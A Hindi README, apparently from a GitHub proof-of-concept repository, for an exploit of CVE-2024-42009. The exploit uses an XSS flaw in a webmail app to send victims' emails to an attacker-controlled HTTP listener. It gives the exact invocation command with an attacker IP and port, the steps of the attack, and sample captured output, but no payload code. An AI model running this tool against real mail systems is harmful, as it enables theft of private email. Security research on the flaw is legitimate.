CVE-2024-42009 PoC: ईमेल कैप्चर लिसनर और XSS एक्सप्लॉइट

अवलोकन

यह प्रूफ ऑफ कॉन्सेप्ट (PoC) CVE-2024-42009 के लिए एक एक्सप्लॉइट प्रदर्शित करता है, जो एक क्रॉस-साइट स्क्रिप्टिंग (XSS) कमजोरी का उपयोग करके लक्ष्य वेबमेल एप्लिकेशन से ईमेल निकालता है। हमला एक दुर्भावनापूर्ण पेलोड इंजेक्ट करता है जो ईमेल सामग्री को हमलावर-नियंत्रित लिसनर तक पहुंचाता है।

विशेषताएं

• ईमेल सामग्री कैप्चर करने के लिए XSS कमजोरी का शोषण करता है।
• एक HTTP लिसनर का उपयोग करके बाहर निकाले गए ईमेल प्राप्त करता है और डीकोड करता है।
• पेलोड इंजेक्शन और बाहर निकालने को स्वचालित करता है।

आवश्यकताएँ

• Python 3.x
• आवश्यक निर्भरताएँ (pip के माध्यम से स्थापित करें):
  root@kitploit:~

  pip install requests beautifulsoup4
  

उपयोग

आवश्यक तर्कों के साथ स्क्रिप्ट चलाएँ:

python exploit.py -fu [email protected] -tu [email protected] -u http://target.com/contact -ip YOUR_IP -p 1337

पैरामीटर्स

हमला कार्यप्रवाह

1. लिसनर प्रारंभ करें: स्क्रिप्ट निकाले गए ईमेल कैप्चर करने के लिए एक HTTP सर्वर शुरू करता है।
2. दुर्भावनापूर्ण पेलोड इंजेक्ट करें: XSS पेलोड एक निर्मित ईमेल के माध्यम से भेजा जाता है।
3. निष्पादन ट्रिगर करें: जब पीड़ित ईमेल खोलता है, पेलोड निष्पादित होता है और ईमेल सामग्री हमलावर के सर्वर पर भेजता है।
4. कैप्चर और डीकोड करें: निकाली गई ईमेल सामग्री डीकोड की जाती है और प्रदर्शित की जाती है।

उदाहरण आउटपुट

[*] CVE-2024-42009 PoC: Listening on 192.168.1.100:1337...
[*] Sending payload for UID 1...
[+] Payload sent for UID 1 (Status: 200)

[+] Captured Email Content:
Hello, this is a test email!

अस्वीकरण

मैं इस GitHub रिपॉजिटरी में होस्ट की गई कमजोरी और सभी संबंधित एक्सप्लॉइट के क्रेडिट/स्वामित्व/प्रकटीकरण का दावा नहीं करता - सभी क्रेडिट उस शोधकर्ता को जाते हैं जिसने इसे खोजा; मैंने केवल इंटरनेट से डेटा के आधार पर कमजोरी को दोहराने के लिए एक POC बनाया। यह PoC केवल शैक्षिक और अनुसंधान उद्देश्यों के लिए है। सहमति के बिना सिस्टम के विरुद्ध अनधिकृत परीक्षण अवैध है। जिम्मेदारी से उपयोग करें!